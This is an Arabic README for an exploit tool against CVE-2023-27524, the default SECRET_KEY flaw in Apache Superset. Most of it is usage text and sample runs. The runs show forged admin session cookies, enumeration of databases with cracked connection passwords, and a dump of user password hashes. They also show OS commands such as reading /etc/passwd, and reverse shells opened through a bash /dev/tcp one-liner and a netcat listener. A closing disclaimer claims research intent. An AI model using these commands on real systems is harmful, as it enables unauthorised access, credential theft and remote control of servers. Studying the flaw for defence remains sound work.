
استغلال لثغرة CVE-2023-27524 يستهدف تجاوز المصادقة وتنفيذ الأوامر عن بُعد (RCE) في Apache Superset. يزوّر ملفات تعريف الجلسة، ويعدّد قواعد البيانات والمستخدمين، وينفّذ أوامر نظام التشغيل، ويفتح صدفات عكسية على الأنظمة المعرضة للخطر.
تُعد Apache Superset أداة مفتوحة المصدر واسعة الاستخدام لتصور البيانات واستكشافها، وقد تم تحديد نقاط ضعف أمنية محتملة فيها قد تؤدي إلى تجاوز المصادقة وتنفيذ الأكواد عن بُعد (RCE). قد تمكّن هذه الثغرات الجهات الخبيثة من الحصول على صلاحيات إدارية على الخوادم المستهدفة، مما يسمح لها بجمع بيانات اعتماد المستخدمين وربما تعريض البيانات للخطر.
المشكلة الأمنية المحددة المعنية هي ثغرة تكوين افتراضي غير آمن يشار إليها باسم CVE-2023-27524.
يكمن السبب الجذري في مفتاح Flask السري القابل للتخمين الذي يتم تعيينه أثناء التثبيت، مما يؤثر على عدد كبير من حالات Apache Superset المكشوفة. وعلى الرغم من بعض الجهود التخفيفية، تظل هذه الثغرة مصدر قلق بالغ لمن لم يحدّثوا تكويناتهم.
يمكن تصعيد المشكلة إلى تنفيذ الأكواد عن بُعد (RCE). يضيف هذا الاستغلال هذه الوظيفة إلى الأداة الأصلية.
الوصف الرسمي للثغرة:
تعد هجمات التحقق من الجلسة في Apache Superset حتى الإصدار 2.0.1 ضمنًا. التثبيتات التي لم تغيّر SECRET_KEY الافتراضية وفقًا لتعليمات التثبيت تسمح للمهاجم بالمصادقة والوصول إلى موارد غير مصرح بها. لا يؤثر هذا على مسؤولي Superset الذين غيّروا القيمة الافتراضية لإعداد SECRET_KEY.
تمت كتابة سكريبت الاستغلال هذا لتحليل CVE على vsociety.
تثبيت حزم PIP:
pip3 install -r requirements.txt
الاستخدام:
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
[--revshell REVSHELL] [--db-host]
options:
-h, --help show this help message and exit
--url URL, -u URL Host URL
--id ID User ID to forge session cookie for. Default=1
--wordlist WORDLIST, -w WORDLIST
Specify a wordlist file (default is 10.txt)
--validate, -v Validate the presence of vulnerability by login attempt
--enum-dbs, -dbs Enumerate databases
--enum-users, -eu Enumerate databases
--cmd CMD, -c CMD Run custom OS command on the database's server.
--revshell REVSHELL Specify IP:Port for reverse shell
--db-host Run commands or open reverse shell on the database server
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt
[+] Session cookie found.
[+] Decoded session cookie: <REDACTED>
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1: <REDACTED>
[+] Superset Version: 2.0.1
[+] Login successful. Vulnerability is validated.
# python3 exploit.py -u http://localhost:8088 --enum-dbs
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Version 2.0.1 seems vulnerable.
[+] Enumerating databases via API...
[+] Found database: "examples" with password "superset".
[+] Found database: "SQLite".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.
# python3 exploit.py -u http://localhost:8088 --enum-users
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Version 2.0.1 seems vulnerable.
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
[+] RESULT:
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------+--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
على خادم Superset:
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
لاحظ أنه في هذه الحالة لا يمكن عرض المخرجات بعد.
على خادم قاعدة البيانات:
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Version 2.0.1 seems vulnerable.
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| <REDACTED> |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
على خادم Superset:
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
على خادم قاعدة البيانات:
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
تم إنشاء سكريبت الاستغلال هذا فقط لأغراض البحث وتطوير تقنيات دفاعية فعالة. وليس المقصود استخدامه في أي أنشطة خبيثة أو غير مصرح بها. يخلي المؤلف ومالك السكريبت مسؤوليتهما عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. يُطلب من المستخدمين استخدام هذا البرنامج بمسؤولية وفقط وفقًا للقوانين واللوائح المعمول بها. استخدمه بمسؤولية.